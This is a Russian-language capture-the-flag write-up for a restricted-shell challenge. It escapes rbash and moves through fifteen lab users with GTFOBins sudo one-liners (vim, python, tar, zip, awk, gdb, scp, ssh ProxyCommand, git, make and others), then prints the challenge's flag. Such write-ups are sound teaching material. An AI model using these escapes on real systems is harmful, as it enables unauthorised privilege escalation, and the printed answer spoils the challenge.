

Bash - Restricted shells

Для всех комнат первой командой используется `sudo -l` чтобы узнать, что можно использоваться для повышения.

Почти все способы повешения взяты с GTFObins

USER 0

Подключаемся по ssh, пробуем запустить `sudo -l` и сразу же получаем ошибку

```
app-script-ch14@challenge02:~$ ls
-rbash: /usr/lib/command-not-found: restricted: cannot specify '/' in command names
app-script-ch14@challenge02:~$ sudo -l
-rbash: /usr/lib/command-not-found: restricted: cannot specify '/' in command names
app-script-ch14@challenge02:~$
```

Из ошибки поминаем что мы находимся в `rbash`

С помощью `./` и ТАВ можем изучить что есть в системе и находим `step1/vim` из чего следует что нам нужно использовать `vim` для выхода из `rbash`

```
app-script-ch14@challenge02:~$ ./
.gnupg/ step1/ step14/
app-script-ch14@challenge02:~$ ./step1
step1/ step14/
app-script-ch14@challenge02:~$ ./step1
step1/ step14/
app-script-ch14@challenge02:~$ ./step1
step1/ step14/
app-script-ch14@challenge02:~$ ./step1/vim -rbash: /dev/null: restricted: cannot redirect output
```

1. Запускаем `vim`
2. Нажимаем “:” и прописываем `set shell=/bin/bash`
3. Нажимаем Enter, снова нажимаем двоеточие и пишем `shell`
4. Переходим во вторую комнату

```
app-script-ch14@challenge02:~$ vim
Error detected while processing /usr/share/vim/vimrc:
line 27:
E484: Can't open file /usr/share/vim/syntax/syntax.vim
Press ENTER or type command to continue
bash: groups: command not found

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||      ||      ||      ||

* Don't forget to check 'sudo -l' for all steps.
* No output network access authorized.
* Keep your commands on hand ;)

app-script-ch14@challenge02:~$
```

USER 1

Во второй комнате пропишем `sudo -l` и снова получим ошибку. Ошибка связана с переменным окружением

```
app-script-ch14@challenge02:~$ sudo -l
Command 'sudo' is available in '/usr/bin/sudo'
The command could not be located because '/usr/bin' is not included in the PATH environment variable.
sudo: command not found
app-script-ch14@challenge02:~$
```

Исправим это с помощью `export PATH=/usr/bin:/bin`

```

sudo command not found
app-script-ch14@challenge02:~$ export PATH=/usr/bin:/bin
app-script-ch14@challenge02:~$ sudo -l
Matching Defaults entries for app-script-ch14 on challenge02:
    env_reset, secure_path=/usr/local/sbin:\usr/local/bin:\usr/sbin:\usr/bin:\sbin:/bin, !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user

User app-script-ch14 may run the following commands on challenge02:
    (app-script-ch14-2) NOPASSWD: /usr/bin/python
app-script-ch14@challenge02:~$ █

```

Все успешно получилось, и видим, что пользователь `app-script-ch14-2` может запустить `python` без пароля `root`. Обратимся к `gtfobins` и найдем способ повышение

1. Запускаем python от другого пользователя с помощью команды `/usr/bin/sudo -u app-script-ch14-2 /usr/bin/python`
2. Прописываем `import os`
3. Прописываем `os.system("/bin/bash")`
4. Переходим в следующую комнату

```

app-script-ch14@challenge02:~$ export PATH=/usr/bin:/bin
app-script-ch14@challenge02:~$ sudo -u app-script-ch14-2 /usr/bin/python
Python 2.7.17 (default, Mar  8 2023, 18:40:28)
[GCC 7.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("/bin/bash")

=====
|| Restricted shell ||
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||      ||(__D||      ||C__)||      ||
||      ||(__D||      ||C__)||      ||
||      ||      ||      ||      ||
=====

* Don't forget to check 'sudo -l' for all steps.
* No output network access authorized.
* Keep your commands on hand ;)

app-script-ch14-2@challenge02:~$
..1 ff02::1 ip6-localnet

```

USER 2

Прописываем `sudo -l` и видим, что можно использовать `tar`

Снова обратимся к `gtfobins` и найдем способ повышения

`sudo -u app-script-ch14-3 /bin/tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash`

```
app-script-ch14-2@challenge02:~$ sudo -l
Matching Defaults entries for app-script-ch14-2 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user

User app-script-ch14-2 may run the following commands on challenge02:
    (app-script-ch14-3) NOPASSWD: /bin/tar
app-script-ch14-2@challenge02:~$ sudo -u app-script-ch14-3 /bin/tar cf /dev/null testfile -
--checkpoint=1 --checkpoint-action=exec=/bin/bash
/bin/tar: testfile: Cannot stat: No such file or directory

|| Restricted shell || | | | |
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* Don't forget to check 'sudo -l' for all steps.
* No output network access authorized.
* Keep your commands on hand ;)
app-script-ch14-3@challenge02:~$
```

USER 3

Прописываем `sudo -l` и видим, что можно использовать `zip`

`TF=$(mktemp -u)`

`sudo -u app-script-ch14-4 /usr/bin/zip $TF /etc/hosts -T -TT 'bash #'`

```
app-script-ch14-3@challenge02:~$ sudo -l
Matching Defaults entries for app-script-ch14-3 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user

User app-script-ch14-3 may run the following commands on challenge02:
    (app-script-ch14-4) NOPASSWD: /usr/bin/zip
app-script-ch14-3@challenge02:~$ TF=$(mktemp -u)
app-script-ch14-3@challenge02:~$ sudo -u app-script-ch14-4 /usr/bin/zip $TF /etc/hosts -T -
TT 'bash #'
adding: etc/hosts (deflated 47%)

|| Restricted shell || | | | |
|| <(> || <(> || ||
|| _ || _ ||
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|| _ || _ ||

* Don't forget to check 'sudo -l' for all steps.
* No output network access authorized.
* Keep your commands on hand ;)
app-script-ch14-4@challenge02:~$
```

USER 4

Прописываем `sudo -l` и видим, что можно использовать `awk`

`sudo -u app-script-ch14-5 /usr/bin/awk 'BEGIN {system("/bin/bash")}'`

```
app-script-ch14-4@challenge02:~$ sudo -l
Matching Defaults entries for app-script-ch14-4 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user

User app-script-ch14-4 may run the following commands on challenge02:
    (app-script-ch14-5) NOPASSWD: /usr/bin/awk
app-script-ch14-4@challenge02:~$ sudo -u app-script-ch14-5 /usr/bin/awk 'BEGIN {system("/bin/bash")}'
|| Restricted shell ||
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|| || ||
* Don't forget to check 'sudo -l' for all steps.
* No output network access authorized.
* Keep your commands on hand ;)
app-script-ch14-5@challenge02:~$
```

USER 5

Прописываем `sudo -l` и видим, что можно использовать `gdb`

`sudo -u app-script-ch14-6 gdb -nx -ex '!bash' -ex quit`

```
app-script-ch14-5@challenge02:~$ sudo -l
Matching Defaults entries for app-script-ch14-5 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user

User app-script-ch14-5 may run the following commands on challenge02:
    (app-script-ch14-6) NOPASSWD: /usr/bin/gdb
app-script-ch14-5@challenge02:~$ sudo -u app-script-ch14-6 gdb -nx -ex '!bash' -ex quit
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".

|| Restricted shell ||
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* Don't forget to check 'sudo -l' for all steps.
* No output network access authorized.
* Keep your commands on hand ;)
app-script-ch14-6@challenge02:~$
```

USER 6

Прописываем `sudo -l` и видим, что можно использовать `pico`

1. Прописываем в консоль `sudo -u app-script-ch14-7 /usr/bin/pico -s "/bin/bash"`
2. В открывшемся редакторе пишем `/bin/bash` и нажимаем `CTRL+T`

```
app-script-ch14-6@challenge02:~$ sudo -l
Matching Defaults entries for app-script-ch14-6 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user

User app-script-ch14-6 may run the following commands on challenge02:
    (app-script-ch14-7) NOPASSWD: /usr/bin/pico
app-script-ch14-6@challenge02:~$ sudo -u app-script-ch14-7 /usr/bin/pico -s "/bin/bash"
Unable to create directory /challenge/app-script/ch14/.local/share/nano/: No such file or d
irectory
It is required for saving/loading search history or cursor positions.

Press Enter to continue

|| Restricted shell ||
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|| _||_ || _||_ ||
||
* Don't forget to check 'sudo -l' for all steps.
* No output network access authorized.
* Keep your commands on hand ;)

app-script-ch14-7@challenge02:~$
```

USER 7

Прописываем `sudo -l` и видим, что можно использовать `scp`

Метод указанный на `gtfbins` не работает, тк `scp` не принимает команду и выдает ошибку `lost connection`

1. Создаем директорию `/tmp/unlu`
2. Записываем в файл `unl.sh` строку `'sh 0<&2 1>&2'`
3. Задаем права на исполнение для `unl.sh`
4. Запускаем с `sudo` от юзера, который может это делать

```
app-script-ch14-7@challenge02:~$ sudo -l
Matching Defaults entries for app-script-ch14-7 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user

User app-script-ch14-7 may run the following commands on challenge02:
    (app-script-ch14-8) NOPASSWD: /usr/bin/scp
app-script-ch14-7@challenge02:~$ mkdir /tmp/unlu
app-script-ch14-7@challenge02:~$ cd /tmp/unlu
bash: cd: /tmp/unlu: No such file or directory
app-script-ch14-7@challenge02:~$ cd /tmp/unlu
app-script-ch14-7@challenge02:~$ echo 'sh 0<&2 1>&2' > /tmp/unlu/unl.sh
app-script-ch14-7@challenge02:~$ cd /tmp/unlu
app-script-ch14-7@challenge02:~$ chmod +x unl.sh
app-script-ch14-7@challenge02:~$ sudo -u app-script-ch14-8 scp -S /tmp/unlu/unl.sh
x y:
$ /bin/bash

|| Restricted shell ||
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|| ||<(.)>||<(.)>|| ||
|| _||_ || _||_ ||
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|| (D || C) ||
|| (D || C) ||
|| _||_ || _||_ ||
||
* Don't forget to check 'sudo -l' for all steps.
* No output network access authorized.
* Keep your commands on hand ;)

app-script-ch14-8@challenge02:/tmp/unlu$
```


USER 8

Прописываем `sudo -l` и видим, что можно использовать `env`

Обратимся к `gtfobins sudo -u app-script-ch14-9 env /bin/bash`

```

app-script-ch14-8@challenge02:/tmp/unlu$ sudo -l
Matching Defaults entries for app-script-ch14-8 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user

User app-script-ch14-8 may run the following commands on challenge02:
    (app-script-ch14-9) NOPASSWD: /usr/bin/env
app-script-ch14-8@challenge02:/tmp/unlu$ sudo -u app-script-ch14-9 env /bin/bash

|| Restricted shell ||

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||      ||      ||      ||      ||

* Don't forget to check 'sudo -l' for all steps.
* No output network access authorized.
* Keep your commands on hand ;)

app-script-ch14-9@challenge02:/tmp/unlu$

```

USER 9

Прописываем `sudo -l` и видим, что можно использовать `ssh`

```
sudo -u app-script-ch14-10 ssh -o ProxyCommand=';sh 0<&2 1>&2' x
```

```

app-script-ch14-9@challenge02:/tmp/unlu$ sudo -l
Matching Defaults entries for app-script-ch14-9 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user

User app-script-ch14-9 may run the following commands on challenge02:
    (app-script-ch14-10) NOPASSWD: /usr/bin/ssh
app-script-ch14-9@challenge02:/tmp/unlu$ sudo -u app-script-ch14-10 ssh -o ProxyCommand=';s
h 0<82 1>82' x
Could not create directory '/challenge/app-script/ch14/.ssh'.
$ /bin/bash

|| Restricted shell ||

||      ||<(.)>||<(.)>||      || | |
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||      ||(_D)||      ||C_)||      ||
||      ||(_D)||      ||C_)||      ||
||      ||(_D)||      ||C_)||      ||
||      ||_||      ||_||      ||

* Don't forget to check 'sudo -l' for all steps.
* No output network access authorized.
* Keep your commands on hand ;)

app-script-ch14-10@challenge02:/tmp/unlu$

```

USER 10

Прописываем `sudo -l` и видим, что можно использовать `git`
 На `gtfobins` есть несколько вариантов, начнем с первого
`sudo -u app-script-ch14-11 PAGER='sh -c "exec sh 0<&1"' git -p help` . Этот вариант не подошел, так как у нас нет прав на изменение `$PAGER`

Следующий вариант `sudo -u app-script-ch14-11 git -p help config` отработал и позволил нам в конце вывода дописать `!/bin/bash` что дало возможность перейти в след комнату

```

app-script-ch14-10@challenge02:/tmp/unlu$ sudo -l
Matching Defaults entries for app-script-ch14-10 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user

User app-script-ch14-10 may run the following commands on challenge02:
    (app-script-ch14-11) NOPASSWD: /usr/bin/git
app-script-ch14-10@challenge02:/tmp/unlu$ sudo -u app-script-ch14-11 PAGER='sh -c "exec sh
0<81"' git -p help
sudo: sorry, you are not allowed to set the following environment variables: PAGER
app-script-ch14-10@challenge02:/tmp/unlu$ sudo -u app-script-ch14-11 git -p help config
GIT-CONFIG(1)
NAME
    git-config - Get and set repository or global options

```

```

used to tell the command to write to that location
!/bin/bash
standoff_0 || Restricted shell ||
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|| _D || C_ ||
|| || || ||
* Don't forget to check 'sudo -l' for all steps.
* No output network access authorized.
* Keep your commands on hand ;)

app-script-ch14-11@challenge02:/tmp/unlu$

```

USER 11

Прописываем `sudo -l` и видим, что можно использовать `make`

```
sudo -u app-script-ch14-12 make -s --eval='$x:\n\t-"/bin/bash"
```

```

app-script-ch14-11@challenge02:/tmp/unlu$
app-script-ch14-11@challenge02:/tmp/unlu$ sudo -l
Matching Defaults entries for app-script-ch14-11 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user

User app-script-ch14-11 may run the following commands on challenge02:
    (app-script-ch14-12) NOPASSWD: /usr/bin/make
app-script-ch14-11@challenge02:/tmp/unlu$ sudo -u app-script-ch14-12 make -s --eval=$'x:\n\t-"/bin/bash"
|| Restricted shell || | | | |
|| <(> || <(> ||
|| ( _D || C _ ||
|| ( _D || C _ ||
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|| ( _D || C _ ||
|| || || ||
* Don't forget to check 'sudo -l' for all steps.
* No output network access authorized.
* Keep your commands on hand ;)
app-script-ch14-12@challenge02:/tmp/unlu$

```

USER 12

Прописываем `sudo -l` и видим, что можно использовать `script`

`sudo -u app-script-ch14-13 script -q /dev/null`

```

app-script-ch14-12@challenge02:/tmp/unlu$ sudo -l
Matching Defaults entries for app-script-ch14-12 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user

User app-script-ch14-12 may run the following commands on challenge02:
    (app-script-ch14-13) NOPASSWD: /usr/bin/script
app-script-ch14-12@challenge02:/tmp/unlu$ sudo -u app-script-ch14-13 script -q /dev/null
|| Restricted shell || | | | |
|| <(> || <(> ||
|| ( _D || C _ ||
|| ( _D || C _ ||
|| ( _D || C _ ||
|| ( _D || C _ ||
|| || || ||
* Don't forget to check 'sudo -l' for all steps.
* No output network access authorized.
* Keep your commands on hand ;)
app-script-ch14-13@challenge02:/tmp/unlu$

```

USER 13

Прописываем `sudo -l` и видим, что можно использовать `rbash --`

`sudo -u app-script-ch14-14 rbash --`


```

app-script-ch14-13@challenge02:/tmp/unlu$ sudo -l
Matching Defaults entries for app-script-ch14-13 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user

User app-script-ch14-13 may run the following commands on challenge02:
    (app-script-ch14-14) NOPASSWD: /bin/rbash --
app-script-ch14-13@challenge02:/tmp/unlu$ sudo -u app-scripts-ch14-14 rbash --
sudo: unknown user: app-scripts-ch14-14
sudo: unable to initialize policy plugin
app-script-ch14-13@challenge02:/tmp/unlu$ sudo -u app-script-ch14-14 rbash --

|| Restricted shell ||

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|| (D (D C) ||
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* Don't forget to check 'sudo -l' for all steps.
* No output network access authorized.
* Keep your commands on hand ;)

app-script-ch14-14@challenge02:~/step14$

```

USER 14

Добираемся до последней комнаты и снова получаем ошибку аналогичную первой комнате

С помощью vim выйти из rbash не получится, тк он находится в другой директории

```

app-script-ch14-14@challenge02:~/step14$ sudo -l
rbash: /usr/lib/command-not-found: restricted: cannot specify '/' in command names
app-script-ch14-14@challenge02:~/step14$ ls
rbash: /usr/lib/command-not-found: restricted: cannot specify '/' in command names
app-script-ch14-14@challenge02:~/step14$ ls
rbash: /usr/lib/command-not-found: restricted: cannot specify '/' in command names
app-script-ch14-14@challenge02:~/step14$

```

Изучим что мы можем использовать с помощью нажатия TAB и видим, что можем использовать `mapfile`. `Mapfile` – встроенная команда оболочки `bash` для чтения строк из файла/массива

```

app-script-ch14-14@challenge02:~/step14$
:
!
./
[
[[
]]
{
}
alias
bg
bind
break
builtin
caller
case
cd
command
command_not_found_handle
compgen
complete
compropt
continue
coproc
declare
dirs
disown
do
done
echo
elif
else
enable
esac
eval
exit
export
false
fc
fg
fi
for
function
getopts
hash
help
history
if
in
jobs
kill
let
local
logout
mapfile
popd
printf
pushd
pwd
readonly
return
select
set
shift
shopt
sl
suspend
test
then
time
times
trap
true
type
typeset
ulimit
umask
unalias
unset
until
wait
while

```

С помощью `mapfile FLAG < ../passwd` записываем данные из `passwd` в `$FLAG` и затем выводим его `echo $FLAG`, и забираем флаг `3sc@p3_G@m3s_@r3_R34lly_Fun!!`

0022

```
app-script-ch14-14@challenge02:~/step14$ mapfile -h
rbash: mapfile: -h: invalid option
mapfile: usage: mapfile [-d delim] [-n count] [-O origin] [-s count] [-t] [-u fd] [-C callback] [-c quantum] [array]
app-script-ch14-14@challenge02:~/step14$ mapfile FLAG < .passwd
rbash: .passwd: No such file or directory
app-script-ch14-14@challenge02:~/step14$ mapfile FLAG < ../.passwd
app-script-ch14-14@challenge02:~/step14$ echo $FLAG
3sc@p3_G@m3s_@r3_R34lly_Fun!!
app-script-ch14-14@challenge02:~/step14$ ^C
app-script-ch14-14@challenge02:~/step14$
```